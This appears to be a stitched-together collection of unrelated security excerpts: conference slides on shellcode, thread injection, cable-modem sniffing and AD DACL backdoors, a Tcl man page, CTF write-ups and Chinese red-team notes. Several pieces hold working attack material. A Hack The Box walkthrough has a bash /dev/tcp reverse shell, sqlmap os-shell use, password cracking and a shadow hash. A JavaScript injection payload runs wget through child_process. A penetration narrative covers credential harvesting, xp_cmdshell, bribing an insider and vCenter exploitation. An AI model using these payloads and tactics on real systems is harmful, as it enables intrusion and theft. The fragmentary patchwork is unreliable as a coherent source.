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Teaching Old Shellcode New Tricks DEF CON 2017 @midnite_runr Whoami  US Marine (out in 2001)  Wrote BDF/BDFProxy  Co-Authored Ebowla  Found OnionDuke  Work @ Okta  Twitter: @midnite_runr Why This Talk  Its fun  Its time to update publicly available shellcode Outline  Some History  Introduced Methods  Mitigations and Bypasses Part I - History Stephen Fewers Hash API  SFHA or Hash API or MetaSploit Payload Hash  Introduced: 8/2009  Uses a 4 byte hash to identify DLL!WinAPI in EAT  JMPs to the WinAPI ; return to payload  Some code borrowed from M.Millers 2003 Understanding Windows Shellcode paper http://blog.harmonysecurity.com/2009/08/calling-api-functions.html Typical SHFA Based Payload [SHFA][the actual payload logic] Typical SHFA Based Payload [SHFA][the actual payload logic] 1 Typical SHFA Based Payload [SHFA][the actual payload logic] 1 2 Typical SHFA Based Payload [SHFA][the actual payload logic] 1 2 3 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 4 Typical SHFA Based Payload [SHFA][the actual payload logic] [some winAPI] 1 2 3 4 5, Continue to 2 until done Defeating SFHA  EMET  Piotr Bania Phrack 63:15 // HAVOC - POC||GTFO 12:7 EMET Caller/EAF(+)  EAF(+)  Introduced: 2010/2014(+)  Protect reading KERNEL32/NTDLL and KERNELBASE(+)  Caller  2013  Block ret/jmp into a winAPI (Anti/rop) for critical functions EMET is EOL  Supported through July 31, 2018  Still works**  Re-introduced in Windows RS3 ** Depends on threat model Tor Browser Exploit vs EMET Bypassing EMET EAF(+)  2010: Berend-Jan Wever (Skypher Blog) - ret-2- libc via ntdll  1/2012 Piotr Bania - Erase HW Breakpoints via NtContinue  9/2014 - Offensive Security - EAF+ bypass via EMET function reuse calling ZwSetContextThread directly http://web.archive.org/web/20101125174240/http://skypher.com/index.php/2010/11/17/bypassing-eaf/ http://piotrbania.com/all/articles/anti_emet_eaf.txt https://www.of


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http://null.co.in/ http://nullcon.net/ http://null.co.in/ Jugaad Linux Thread Injection Kit By Aseem Jakhar $whoami  A Big Hello from India.  Founder  null The open security community.  Organizer  nullcon security conference.  Chief researcher  Payatu Labs http://www.payatu.com  Speaker at various security conferences  Blackhat, Xcon, Gnunify, ISACA Blore, Cocon, Clubhack, Blore Cyber security Summit. http://null.co.in/ http://nullcon.net/ http://null.co.in/ null  Registered Non-Profit organization.  The largest security community in India.  Focus  security research, knowledge sharing.  6 chapters in India.  Monthly meets in all chapters.  Security awareness camps.  nullcon  The Favorite go-to destination for hackers and security professionals in the Indian sub- continent. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda  What is Jugaad  What Jugaad is not  Code Injection  Windows  Linux  ptrace() Primer  Library Injection  Jugaad  Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ What is Jugaad  Jugaad  Hindi word, means work- around/hack.  Code injection technique.  Threading capability.  Customized payload.  Jugaad in it's true sense. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda  What is Jugaad  What Jugaad is not  Code Injection  Windows  Linux  ptrace() Primer  Library Injection  Jugaad  Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ What Jugaad is not  Zero day.  Vulnerability.  Privilege escalation technique. http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda  What is Jugaad  What Jugaad is not  Code Injection  Windows  Linux  ptrace() Primer  Library Injection  Jugaad  Conclusion http://null.co.in/ http://nullcon.net/ http://null.co.in/ Code Injection  Injecting executable instructions/code.  Altering the default flow of execution.  Buffer overflow  SQLi  XSS  XML  APIs http://null.co.in/ http://nullcon.net/ http://null.co.in/ Agenda  What is Jugaad  What Jugaad is not


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'\" '\" Copyright (c) 1995-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: fconfigure.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives t


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# Pwndoor - Rev (150 + 0), 5 solves > We found this implant on some of our servers, help us figure it out! In this task, we were given a small binary and host on which it was running. Note that we did not have a port, we had to figure it out ourselves. The binary is rather small. It first creates a raw socket, attaches a BPF filter to it, and then waits for any packet matching the filter to arrive. Then it sends the flag to the sender ip, on TCP port 4444. The only difficult thing there is to analyze the BPF filter. The tooling surrounding it is in pretty bad condition - we were not able to find a disassembler that would work correctly. In the end, we used the same approach as in http://www.gnoobz.com/hitb-ctf-2016-binary-300.html, that is using `/proc/sys/net/core/bpf_jit_enable`, which would translate the BPF to x64 code and dump it in `dmesg` output. Reverse engineering that wasn't too different from any other RE challenge. There were a couple of arithmetic checks on a couple of bytes of the packet. From these, we could conclude: - it has EtherType = 0x800, that is, it's IPv4, - it has protocol type = 17, i.e. UDP, - UDP port = 3333, - packet data must contain a certain text. From the packet data structure, we guessed it is a DNS packet (it had a couple of constants identical to DNS). The finally accepted packet was then generated by: `dig @34.245.139.8 -p 3333 'M4d!bKn3~l' TXT`, which after sending, caused the server to call us back on TCP port 4444.


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Sniffing cable modems Guy Martin <gmsoft@tuxicoman.be> Defcon 16 - Aug 2008  Las Vegas Agenda  What is DOCSIS ?  Use of DOCSIS  General architecture  Registration process  Encryption on the link  Cool, how can I sniff it ?  DVB-C card  Packet-o-matic to the rescue Agenda  Doable things  Privacy  Modem SNMP hacks  Misc  References  DOCSIS  MPEG  Packet-o-matic What is DOCSIS  Use of DOCSIS  Internet : The most known application of the DOCSIS protocol  Telephony : Most cable modems have a built-in ATA (Analog Telephone Adapter)  Digital TV decoders : built-in cable modems to monitor/feedback data from end users What is DOCSIS  General architecture  CMTS on the ISP side broadcast packets to end users on a common single frequency  Modems on end user side send packets back to CMTS on another frequency during its timeslot  A CMTS serves from a small neighborhood to a whole city  Downstream frequency is in the same range than TV ones  Uses MPEG packets like normal digital TV to encapsulate data What is DOCSIS  Registration process  Aquire and lock the downstream frequency  From this, find out the upstream parameters  Get an IP address  Download the modem configuration via TFTP  Apply the configuration and enable forwarding of packets What is DOCSIS  Encryption on the link  Encryption and authentication are NOT mandatory  BPI (Baseline Privacy Interface) provides a mechanism for authentication and/or encryption  DES and AES are the two possible encryption algorithms How to sniff it  DVB-C card  Possible because protocols and frequencies are purposely similar to digital TV ones  Inexpensive  Only the downstream traffic can be captured  Different hardware like USRP could be used to capture both upstream and downstream How to sniff it  Packet-o-matic to the rescue  Input module capture the traffic  Packets are processed and matched using match, helpers and conntrack modules  Eventually the target module process the packets to produce the desired output  Everything occurs real-


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Windows 安全 - 服务篇1 0x00 前言 Windows安全范围真的很大我也仅仅是在学习路上的行人边学边记在自己学习的同时也希望有 一起的同行者我计划从Windows服务开始先学习windows服务的基础机制然后再学习相关的安全 问题然后记录这个过程中自己的一些思考或延申性研究这个过程中当然大量知识来自于网络公开 文献和深入理解Windows操作系统7 上下册 Windows服务架构简图 从简图看Windows服务的核心组件并不复杂用户通常通过SCP类程序例如sc.exe等来控制服务 应用但是他并不是直接控制的中间是通过SCM来控制的 0x02 基础组件 通过上图我们知道服务的核心组件有3个分别是服务应用服务控制程序SCP服务控制管理 SCM我们先学习下这3个核心组件 1. 服务应用 服务应用很好理解就是我们开发的可执行程序和通常的可执行程序不同服务可执行程序比普通可 执行程序多了接收SCM发送的命令的代码并返回给SCM服务当前的状态通常服务可执行程序没有 用户接口是终端程序说到这儿大家用过CobaltStrike就会发现生成植入体的时候CS有2种 windows可执行程序其中就有Service可执行程序专门用作创建服务时使用也就是说你创建服务 时候填入的可执行程序和普通可执行程序是不同的普通程序没有和SCM通讯的代码会导致服务启动 失败但是可以使用cmd.exe /c "xxx.exe"的方式来执行非服务可执行程序这样在服务启动的时候 cmd.exe由于不能和SCM通信进程会被终止但是其子进程xxx.exe不会被终止依旧执行这儿需要 注意的是xxx.exe不能是有用户接口的程序例如calc.exe这样的程序需要是终端程序这是什么原 因呢这个和session隔离有关后面说 服务应用是运行在服务进程当中的一个服务进程中可以有多个服务应用因此服务进程分为独占型和 分享型 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-06 No. 1 / 2 - Welcome to www.red-team.cn 2. 服务控制程序SCP 服务控制程序我们用的比较多的是sc.exe和services.msc他们底层其实调用的都是相同的APISCP 主要和SCM通信如果把SCM比作一个服务端SCP就是它的客户端scp通过scm间接的去控制服务进 程SCP其实就是一系列和SCM通信的API这些API一部分在Advapi32.dll中例如CreateService Advapi32.dll中只是一小部分API大部分API还是在Sechost.dll中Advapi32.dll中很多api都是封装的 Sechost.dll因此我们想控制Windows服务除了用services.msc这种交互式方式或者sc.exe这种命令 行的方式以外还可以直接调用API自己实现相关程序 SCP用于管理SCM服务的函数有CreateServiceOpenServiceStartServiceControlService QueryServiceStatusDeleteService在使用这些函数管理SCM服务前需要使用OpenSCManager函 数打开SCM句柄当然不是谁都能使用OpenSCManager打开SCM句柄的是需要权限的看到这儿 有经验的同学应该遇见过OpenSCManager error 5这样的错误特别是在使用类psexec方式进行横向 移动的时候这个错误的原因就是权限不够使用OpenSCManager不能打开SCM的服务句柄也就不 能对服务进行操作 3. 服务控制管理SCM SCM是Windows服务最核心的部分它直接和服务进程通信它是服务真正的控制者下图能够很好的 表示它和服务进程的通信状态 SCM的可执行文件时%SystemRoot%\System32\Services.exe在系统启动阶段SCM就启动了SCM启 动的详细流程以及SCM如何控制其他服务启动的方式均在深入windows操作系统7下册的446-447页 ps:目前只有英文版 0x03 总结 这个系列文档大多比半笔记的形式编写因此有点想到哪儿写到哪儿不会扣每一个细节Windows服 务的相关利用在红队中非常常见很多技术都有涉及时非常有必要深入了解和学习的 Produced by AttackTeamFamily - Author: L.N. - Date: 2022-04-06 No. 2 / 2 - Welcome to www.red-team.cn


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程聪 阿里云安全-系统安全专家 基 于 硬 件 虚 拟 化 技 术 的 新 一 代 二 进 制 分 析 利 器 自我介绍 现就职于阿里云安全-系统安全团队 主要研究方向:  病毒检测  主机安全  内核安全  虚拟化安全  二进制攻防 演讲内容  背景介绍  QEMU/KVM简介  无影子页ept hook  虚拟化调试器  内核级trace  总结 背景介绍 大家先来看下左边这张图片搞内核安全的应该不陌 生windows x64内核引入patchguard后对内核 敏感部分进行patchhook修改msrIDT表等 操作都会触发蓝屏 从PatchGuard谈起 但是有很多场景还是需要对内核进行hook安全研 究人员发现可以借助硬件虚拟化特性实现ept hook 来兼容patchguard 传统的ept hook一般使用影子页来实现我们发现这 种方法存在一些问题本次分享会介绍一种新方法 巧妙解决这些问题 要实现ept hook首先需要一个类似左图的虚拟化平 台提供整体的框架 虚拟化平台 从图中能看出开发一个完整的vmm工作量太大所 以我们选择基于现有的虚拟化平台进行二次开发但 一些专注安全领域的开源平台如hyperplatform或 多或少都存在各种各样的问题最终我们选择了基于 qemu\kvm做二次开发 本次分享会介绍如何基于qemu\kvm快速打造无影 子页ept hook虚拟化调试器内核级trace工具 vcpu manager memory manager device manager interrupts paravirtualization vmm   代码完善度高鲁棒性好稳定性高性能开销小  支持windowslinux等多种guest os  背靠linux内核各种基础设施齐全方便二次开发  在云上广泛使用环境不会被特殊针对  支持gpu透传和虚拟化可以运行图形化程序  支持嵌套虚拟化可以运行vmm程序 为什么选择QEMU/KVM 相比于hyperplatform等虚拟化平台qemu\kvm有以下优势 QEMU/KVM简介 QEMU/KVM整体架构 如左图所示guest操作系统在(ring 0)上运行同时 vmm运行在具有更高特权级别(ring -1) 上执行系 统调用等不涉及关键指令的指令vmm不会介入这 样guest操作系统就可以为其应用程序提供高性能的 内核服务当guest使用特权指令(比如cpuid)或者 发生异常时会产生vmexit从guest退出到host中 host处理完成后再通过vmentry回到guest cpu虚拟化 HPA PA HVA G 内存虚拟化 没有虚拟化的情况下内存地址翻译如左图所示只有VA->PA virtual machine1 process1 VA G <--CR3 EPT--> qemu linux host 在存在虚拟化的情况下GVA->GPA的翻译发生在虚拟机内部 GPA并不是最终的物理内存还需要通过EPT翻译成HPA才完 成整个内存访问 qemu的HVA也映射为HPA所以一般来 说GPA对应着qemu的HVA EPT翻译过程跟普通页表类似也是通过多 级页表实现手动去掉页表项某些权限就 可以达到监控和欺骗的目的 EPT相关操作都在host上进行对guest内核 和应用程序不可见从而可以进行降维打击 无影子页ept hook 影子页ept hook  如右图我们在原始页页面的基础上创建 一个只有X权限影子页原始页保留RW权限 并在影子页上进行hook修改头部指令为jmp  当有cpu执行此页时就会触发hook逻辑  当有cpu读取此页时由于影子页只有X权限 会产生ept violation从而vmexit到hosthost 将页面切换成原始页(RW)进行读写cpu会读取到 原始的内容我们达到了欺骗(无痕)的效果  下次cpu再执行原始页(RW)时同样会触发异常 我们再将页面切换回影子页(X)执行 这种方法存在什么问题 存在的问题  在影子页(X)上执行mov rcx,[rip]时会读 取当前页面由于当前页面只有X权限 会产生异常并切换到原始页(RW)去执行 读取由于RW页没有X权限又会产生异 常并切换回影子页(X)来回切换进入死锁 遇到右图自己读写自身页面的指令会怎么样 这种读写自身页面的场景很常见比如  switch case语句在某些情况下会在当前 代码页面编译生成jump table这种情 况在windows内核中很常见  代码自修改这种在用户态中比较常见 比如一些壳对抗代码中 我们如何改进 改进后的解决方案 如右图所示改进后的方案不去除原始页的X权 限遇到页面自读写的指令从X切换到RWX 原始页可顺利执行此指令 在执行完此指令后我们需要切换回影子页(X) 否则


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Air Traffic Control I it 2 0 Insecurity 2.0 Righter Kunkel, CISSP, CISA Security Researcher DEF CON 18 DEF CON 18 Agenda  Who am I?  Overview from last year y  Insecurity's today  Jet tracking  Jet tracking DEF CON 18 Righter Kunkel 2 Who am I?  Security Field for >13 years  Worked with secure operating p g systems: B1, B2  Firewalls, proxies , p  Trainer  CISSP, CISA  CISSP, CISA  Ham Radio  Private Pilot  Private Pilot  DEF CON presenter last year DEF CON 18 Righter Kunkel 3 First  Is flying safe? YES  Are planes going to fall out of the p g g sky after this talk? NO  Is flying safe after this talk? YES y g  Is some of this talk illegal? ??? Disclaimer: Dont do this! DEF CON 18 Righter Kunkel 4 Pilots?  Is any one a pilot? DEF CON 18 Righter Kunkel 5 Our Focus  We are not going to focus on:  Airport physical security  Cockpit door security  X-Ray security  Our focus:  Computers used by ATC  How airplanes report their position to ATC NexGen ATC  NexGen ATC DEF CON 18 Righter Kunkel 6 Why?  ATC is busy moving planes through the air  ATC not focused on network security of equipment being used  Who would want to hack a radar scope? DEF CON 18 Righter Kunkel 7 ATC  What is ATC? DEF CON 18 Righter Kunkel 8 Source: GAO/T-AIMD-00-330 FAA Computer Security NextGen ATC  Converting from proprietary hardware to commercial off the shelf hardware  Phasing out radar  Airplanes transponder will report Lat., Long., and Alt. in clear txt  ADS-B DEF CON 18 Righter Kunkel 9 Airplane Transponder Source: Wikipedia Righter Kunkel 10 DEF CON 18 ADS-B Insecurity  Who am I and where am I in one unencrypted packet  GPS will be the backbone of NextGen  Oh, and GPS sats are failing faster than expected O ld il f k S  One could easily fake an ADS-B transmission N d t if t iti  No radar to verify true position DEF CON 18 Righter Kunkel 11  More to come DEF CON 18 Righter Kunkel 12 Call to Action  Listen to ATC  View ADS-B broadcasts  Become a Pilot DEF CON 18 Righter Kunkel 13 Conclusion  ATC B


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Go With the Flow Enforcing Program Behavior Through Syscall Sequences and Origins Claudio Canella (@cc0x1f) August 11, 2022 Graz University of Technology Who am I? Claudio Canella PhD Candidate @ Graz University of Technology @cc0x1f claudio.canella@iaik.tugraz.at 1 Claudio Canella (@cc0x1f) 2002 2004 2006 2008 2010 2012 2014 2016 2018 2020 2022 0 0.5 1 1.5 2 104 2,1561,527 2,451 4,935 6,6106,520 5,6325,736 4,6534,155 5,2975,191 7,939 6,5046,454 14,714 16,55717,344 18,325 20,149 15,044 Year Vulnerabilities1 1Source: http://www.cvedetails.com/vulnerabilities-by-types.php 2 Claudio Canella (@cc0x1f) What to do? Eliminate bugs 3 Claudio Canella (@cc0x1f) What to do? Eliminate bugs Limit Post-Exploitation Impact 3 Claudio Canella (@cc0x1f) What to do? Eliminate bugs Limit Post-Exploitation Impact 3 Claudio Canella (@cc0x1f) Control-Flow Integrity 1 2 3 4 5 6 control ﬂow 4 Claudio Canella (@cc0x1f) Control-Flow Integrity 1 2 3 4 5 6 Allow: 3  [5,6] Deny: 3  ![5,6] control ﬂow CFI check 4 Claudio Canella (@cc0x1f) Control-Flow Integrity 1 2 3 4 5 6 Allow: 3  [5,6] Deny: 3  ![5,6] control ﬂow CFI check malicious ﬂow 4 Claudio Canella (@cc0x1f) Control-Flow Integrity 1 2 3 4 5 6 Allow: 3  [5,6] Deny: 3  ![5,6] control ﬂow CFI check malicious ﬂow 4 Claudio Canella (@cc0x1f) Linux Seccomp Kernel App. 5 Claudio Canella (@cc0x1f) Linux Seccomp Kernel App. Filter install 5 Claudio Canella (@cc0x1f) Linux Seccomp Kernel App. Filter System Call 5 Claudio Canella (@cc0x1f) Linux Seccomp no Kernel App. Filter terminate System Call 5 Claudio Canella (@cc0x1f) Linux Seccomp no Kernel App. Filter terminate System Call System Call 5 Claudio Canella (@cc0x1f) Linux Seccomp no Kernel App. Filter terminate System Call System Call return 5 Claudio Canella (@cc0x1f) Sample 6 Claudio Canella (@cc0x1f) Sample Syscalls: 0 1 2 3 16 19 20 60 72 202 231 6 Claudio Canella (@cc0x1f) Syscall-Flow-Integrity Protection 7 Claudio Canella (@cc0x1f) Syscall-Flow-Integrity Protection State Machine 7 Claudi


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0x00 前 作者J0o1ey有技术交流或渗透测试/Redteam培训需求的朋友欢迎联系QQ/VX-547006660 本简单记述了下本在某攻防演练过程中次层层突破的有趣经历 技术性般但是层层突破属实艰难并到了较多的思路还望各位佬多多指教 0x01 SSO账号获取 由于标是某学对外开放的服务基本上都是些静态Web没什么太多利点 因此获取个该学的SSO账号就显得尤为重要~ 本使该学的域名以及常的搜索密码关键词调Github的api在Github中定位到了就读该学的关键 户 该同学安全意识较为薄弱经常将账号密码硬编码在程序内这正是我们苦苦寻觅的才 结合他在其他项中硬编码的学号我们成功利他的学号+密码登陆该学SSO系统和学vpn系统 本来以为可以进驻内了结果发现学VPN除了访问些学术资源啥也不了 好在进去SSO了那么后接近靶标之路就会更加轻松现在然要把着点放在SSO能访问到的系统漏洞挖掘上 0x02 某系统接利测试tips获取量信息 了遍SSO能访问的系统 发现某项申请处可以搜索学校其他同学的信息 如图接在流量中是这样表现的 我们利个测试tips将其中的关键键置空或者使通配符*发现可以成功返回全校三万多名学的信息 凭此成果仅能得点可怜的分数还得继续来撸 我继续在系统重翻找接终于发现了个可以搜索学校师的接 同样的使刚刚的tips在关键的键处置空键值或使*这次运很好返回的信息中甚出现了所有师的 号和md5加密的密码 甚包括sso管理员的密码 解了下admin的密码常遗憾解不开不然游戏就直接结束了~ 但我们现在掌握了量师的号密码(包括负责运维的师)那么我们后进驻内的作就会顺利很多 0x03 进驻DMZ区并获取内跳板 我们做了很时间的信息搜集找到了该学校开放在外给运维员使的DMZ区VPN 我们直接刚刚获取到负责运维的师的账号密码登录发现直不好使... 结果试了下发现密码竟然和号是致的....真是语... 随后就成功接了该学校DMZ区VPN 进DMZ区后我们简单做了下弱令扫描探测发现了台SqlServer的弱令 直接通过恢复执xp_cmdshell发现还是管理员权限 但是列进程的时候发现了万恶的某60 试了试之前的certutil下载件绕过法因为之前交了360SRC已经被修复了TMD直接被拦 但是仔细想SqlServer中是存在LOL bin的可以实现利执powershell 通过此姿势成功上线CS 如此来访问内核区的跳板就有了~ 0x04 被踢出内与收买学校内 还没等开会突然发现CS的进程已经被下掉了并且DMZ区账号也被踢下线并改密码了 估计是标机有主机安全设备检测到了进程中的CS内存特征或流量特征 线索全断让陷了沉思不过转念想内代理套代理也是卡的要死还不如想想办法如何直接获取内核 区的访问权限 我们于是在咸上开始寻找猎物发现了就读于该学的某学 该学咸上挂的具体内容忘记截图了体意思是我是xxx学的学可以为家提供xxx学的有关帮助 考研活等等等视难度收费10-50 我们直接加他联系式给他转了50 话术如下 LOL bin C:\Program files (x86)\Microsoft SQL Server\xxx\Tools\Binn\SQLPS.exe C:\Program files (x86)\Microsoft SQL Server\xxx\Tools\Binn\SQLPS.exe whoami 就这样我们连上了这个傻的向葵 然后直接他的cmd把权限给到CS做好权限维持 我你好你好我是xx学的学现在在外回不去学校想下你的电脑访问学校内的教务系统给您50元答 谢 对哦哦可以你看看怎么整 我你下个向葵然后把主机号和密码发给我就好 对okok 把隧道传出来发现学的PC竟然可以直接访问核区随后在内开始了扫描撸了些乱七糟的系 统如海康某设备的RCEweb系统的注关等等东但都没法反弹shell 当时发现了个SSH弱令可给我们兴坏了话不说连过去 当看到这幕的时候身冷汗因为常清楚踩到内蜜罐了要寄了 果然不出20分钟那位同学就发来了微信 煞我也后想继续钱收买道了歉说不传错软件了给他转了20块钱想再阵 可谁知 煞我也竟然不讲武德 0x05 近源渗透直捣 眼看着所有能通向内核区的路径全寄了我们只能想办法出奇制胜摇去近源渗透 叫甲派了了个混进学校内的图书馆之前获取到的学sso账号接校园 如此来我们就有了稳定且不易察觉的内通道 接下来就是常规操作了漏扫核段发现了docker api未授权和vcenter的RCE 可控制数个镜像 核区VCenter存在CVE-2021-21972漏洞可直接写Webshell 随后可利Vcenter的shell权限实现cookie伪造 使脚本 https://github.com/horizon3ai/vcenter_saml_


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An ACE Up the Sleeve Designing Active Directory DACL Backdoors Andy Robbins and Will Schroeder SpecterOps @_wald0  ...  Job: Adversary Resilience Lead at SpecterOps  Co-founder/developer: BloodHound  Trainer: BlackHat 2016  Presenter: DEF CON, DerbyCon, ekoparty, Paranoia, ISSA Intl, ISC2 World Congress, various Security BSides  Other: ask me about ACH @harmj0y  Job: Offensive Engineer at SpecterOps  Co-founder/developer: Veil-Framework, Empire/EmPyre, PowerView/PowerUp, BloodHound, KeeThief  Trainer: BlackHat 2014-2016  Presenter: DEF CON, DerbyCon, ShmooCon, Troopers, BlueHat Israel, various BSides  Other: PowerSploit developer and Microsoft PowerShell MVP tl;dr  DACL/ACE Background  Enumeration of AD DACLs  DACL Misconfiguration and Abuse  Analysis with BloodHound  Designing ACL Based Backdoors  Case Studies and Demos  Defenses Disclaimer  There is no exploit/CVE/whatnot here, just ways to purposely implement Active Directory DACL misconfigurations  These backdoors are post-elevation techniques that require some type of elevated access to the objects youre manipulating Why Care?  Its often difficult to determine whether a specific AD DACL misconfiguration was set maliciously or configured by accident  These changes also have a minimal forensic footprint and often survive OS and domain functional level upgrades  This makes them a great chance for subtle, long-term domain persistence!  These may have been in your environment for YEARS! As an offensive researcher, if you can dream it, someone has likely already done it...and that someone isnt the kind of person who speaks at security cons Matt Graeber Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asynchronous, and Fileless Backdoor - BlackHat 2015 Background From ACLs to ACEs 1. https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/ Previous Work Previous Work https://www.sstic.org/2014/presentation/chemins_de_controle_active_directory/ Previous Work https://blogs.tec


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Windows Kernel Programming, Second Edition Pavel Yosifovich This book is for sale at http://leanpub.com/windowskernelprogrammingsecondedition This version was published on 2022-01-22 This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing process. Lean Publishing is the act of publishing an in-progress ebook using lightweight tools and many iterations to get reader feedback, pivot until you have the right book and build traction once you do.  2020 - 2022 Pavel Yosifovich Contents Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Who Should Read This Book . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 What You Should Know to Use This Book . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Book Contents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Sample Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 Chapter 1: Windows Internals Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Processes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Virtual Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Page States . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 System Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Threads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Thread Stacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 System Services (a.k.a. System Calls) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 General System Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Handles and Objects . . . . . . . . .


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回顾下goby反制讨论的些技巧做个记录 限制前提 1. 动转写 2. 不能有空格 群友提供的些思路 ftk提供的 r4提供的win下的 7师傅提供的数组式不过不知道为啥我的shell好像不 ftk提供的利已经有的命令切割其中字符最终获得空格不过id的话需要知道户名得找个别的命令 较完整的 js 我有点弱智我能注javascript我却在那边绕shell 所以使javascript的些编码就可以了如base64url编码等就不再说了 我还整了个没啥的 onerror=\"x=('a'+''['concat'])[9];cmd='/usr/local/bin/wget'+x+'127.0.0.1/1';require('child_process').exec(cmd);\"> 其实也是从js的个对象打印出来的字符串获取空格罢了 然失败了可能是我浏览器的上下和electron不太样搁置 打开浏览器调试


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nmap -sC -sV 10.10.10.46   sudo zip2john backup.zip > hash sudo john -w /usr/share/wordlists/rockyou.txt hash //zip2johnziphashjohn //wordlistskalirockyou.txt hack the box-Shield 0x00    sudo john --format=Raw-MD5 --fork=4 -w=/usr/share/wordlists/rockyou.txt hashmd5 //md5Raw-MD5  sudo sqlmap -r 46search.sql -p search 0x01 sudo sqlmap -r 46search.sql -p search --os-shell  //bashsqlmapoutputnoshellsqlmap bash -c 'bash -i >& /dev/tcp/10.10.16.2/4444 0>&1' nc -lvnp 4444  SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm cat /var/www/html/dashboard.php  sudo -l 0x03   :!/bin/bash   simon:$6$HmDDB89I3xFM2mJe$DNf5vRLvByV6U4VND/p2VfYYX8/s5apU3j3gk/2Y7A6Q8adNfDKHBFhw71i1gJ7kRUO7rqFX90h3sp4O6K1p20:1829 5:0:99999:7:::  0x04


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Pwned by the Owner Zoz Months! Fuck! Fuck! ...time passes... WTF! % nslookup 72.193.81.105 Server:127.0.0.1 Address:127.0.0.1#53 Non-authoritative answer: 105.81.193.72.in-addr.arpaname = ip72-193-81-105.lv.lv.cox.net. Authoritative answers can be found from: 81.193.72.in-addr.arpanameserver = ns.cox.net. 81.193.72.in-addr.arpanameserver = ns.east.cox.net. 81.193.72.in-addr.arpanameserver = ns.west.cox.net. ns.cox.netinternet address = 68.1.16.107 ns.east.cox.netinternet address = 68.1.16.108 ns.west.cox.netinternet address = 68.111.106.68 % ping -t 60 fear-and-loathing.cannytrophic.com PING fear-and-loathing.cannytrophic.com (72.193.81.105) 56(84) bytes of data. --- fear-and-loathing.cannytrophic.com ping statistics --- 60 packets transmitted, 0 received, 100% packet loss, time 60998ms % while (1) while? ping -t 60 fear-and-loathing.cannytrophic.com while? end PING fear-and-loathing.cannytrophic.com (72.193.81.105): 56 data bytes 64 bytes from 72.193.81.105: icmp_seq=0 ttl=50 time=587.550 ms 64 bytes from 72.193.81.105: icmp_seq=1 ttl=50 time=616.106 ms 64 bytes from 72.193.81.105: icmp_seq=2 ttl=50 time=579.045 ms 64 bytes from 72.193.81.105: icmp_seq=3 ttl=50 time=535.899 ms 64 bytes from 72.193.81.105: icmp_seq=4 ttl=50 time=611.475 ms 64 bytes from 72.193.81.105: icmp_seq=5 ttl=50 time=580.169 ms 64 bytes from 72.193.81.105: icmp_seq=6 ttl=50 time=624.006 ms 64 bytes from 72.193.81.105: icmp_seq=7 ttl=50 time=692.520 ms 64 bytes from 72.193.81.105: icmp_seq=8 ttl=50 time=606.340 ms 64 bytes from 72.193.81.105: icmp_seq=9 ttl=50 time=536.899 ms 64 bytes from 72.193.81.105: icmp_seq=10 ttl=50 time=518.204 ms 64 bytes from 72.193.81.105: icmp_seq=11 ttl=50 time=605.183 ms 64 bytes from 72.193.81.105: icmp_seq=12 ttl=50 time=577.075 ms 64 bytes from 72.193.81.105: icmp_seq=13 ttl=50 time=704.004 ms 64 bytes from 72.193.81.105: icmp_seq=14 ttl=50 time=642.844 ms 64 bytes from 72.193.81.105: icmp_seq=15 ttl=50 